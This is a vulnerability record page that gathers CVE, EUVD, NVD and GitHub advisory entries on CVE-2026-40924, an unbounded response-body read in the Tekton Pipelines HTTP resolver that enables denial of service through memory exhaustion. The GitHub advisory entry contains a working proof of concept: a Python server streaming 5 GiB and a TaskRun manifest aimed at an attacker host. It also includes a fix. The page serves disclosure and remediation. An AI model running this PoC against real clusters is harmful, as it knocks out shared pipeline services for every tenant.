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Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-40924

Published

Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.

Source published
21 Apr 2026 20:47:47 UTC
Source modified
22 May 2026 16:03:53 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-24483

Published

Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Apr 21, 2026, 8:47:47 PM

dateUpdated: May 22, 2026, 4:03:53 PM

Source published
Apr 21, 2026, 8:47:47 PM (timezone not stated)
Source modified
May 22, 2026, 4:03:53 PM (timezone not stated)
Observed here
1 Nov 2026 07:05:16 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-40924

Published

Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-400

Original publisher date fields

published: 2026-04-21T21:16:45.720

lastModified: 2026-10-26T22:10:00.163

1 source CPE criteria · context only
  • cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
21 Apr 2026 21:16:45 UTC
Source modified
26 Oct 2026 22:10:00 UTC
Observed here
27 Oct 2026 10:10:07 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-m2cx-gpqf-qf74

Published

## Summary The HTTP resolver's `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations. ## Details `pkg/resolution/resolver/http/resolver.go:279–307`: ```go func FetchHttpResource(ctx context.Context, params map[string]string, kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) { httpClient, err := makeHttpClient(ctx) // default timeout: 1 minute // ... resp, err := httpClient.Do(req) // ... defer func() { _ = resp.Body.Close() }() body, err := io.ReadAll(resp.Body) // ← no size limit if err != nil { return nil, fmt.Errorf("error reading response body: %w", err) } // ... } ``` `makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window. The resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires. The `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected. ## PoC ```bash # Step 1: Run an HTTP server that streams a large response fast python3 - <<'EOF' import http.server, socketserver class LargeResponseHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.end_headers() # Stream 5 GB at full speed — completes in <60s on a local network chunk = b"X" * (1024 * 1024) # 1 MiB chunk for _ in range(5120): # 5120 * 1 MiB = 5 GiB self.wfile.write(chunk) def log_message(self, *args): pass with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd: httpd.serve_forever() EOF # Step 2: Create a TaskRun that triggers the HTTP resolver kubectl create -f - <<'EOF' apiVersion: tekton.dev/v1 kind: TaskRun metadata: name: dos-poc namespace: default spec: taskRef: resolver: http params: - name: url value: http://attacker-server.internal:8080/large-payload EOF # Expected result: tekton-pipelines-resolvers pod is OOM-killed. # All resolver types in the cluster (git, hub, bundle, cluster, http) # become unavailable until Kubernetes restarts the pod. # Repeated submission causes a crash loop that continuously disrupts # resolution for all tenants in the cluster. ``` **Note:** On clusters where operators have set a higher `fetch-timeout` (e.g., `10m`), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices. ## Impact - **Denial of Service**: OOM-kill of the `tekton-pipelines-resolvers` pod denies all resolution services cluster-wide until Kubernetes restarts the pod. - **Crash loop amplification**: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold. - **Blast radius**: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user. ## Recommended Fix Wrap `resp.Body` with `io.LimitReader` before passing to `io.ReadAll`. Add a configurable `max-body-size` option to the `http-resolver-config` ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file): ```go const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB // In FetchHttpResource, replace: // body, err := io.ReadAll(resp.Body) // with: maxBytes := int64(defaultMaxBodyBytes) if v, ok := conf["max-body-size"]; ok { if parsed, err := strconv.ParseInt(v, 10, 64); err == nil { maxBytes = parsed } } limitedReader := io.LimitReader(resp.Body, maxBytes+1) body, err := io.ReadAll(limitedReader) if err != nil { return nil, fmt.Errorf("error reading response body: %w", err) } if int64(len(body)) > maxBytes { return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes) } ``` This fix must be applied to `FetchHttpResource` in `pkg/resolution/resolver/http/resolver.go`, which is shared by both the deprecated and current HTTP resolver implementations.

Source published
21 Apr 2026 20:27:33 UTC
Source modified
10 Sep 2026 03:50:44 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE

osv · GO-2026-5486

Published

Tekton Pipelines HTTP resolver denial of service via memory exhaustion in github.com/tektoncd/pipeline

Source published
25 Jun 2026 22:34:31 UTC
Source modified
23 Jul 2026 19:00:12 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

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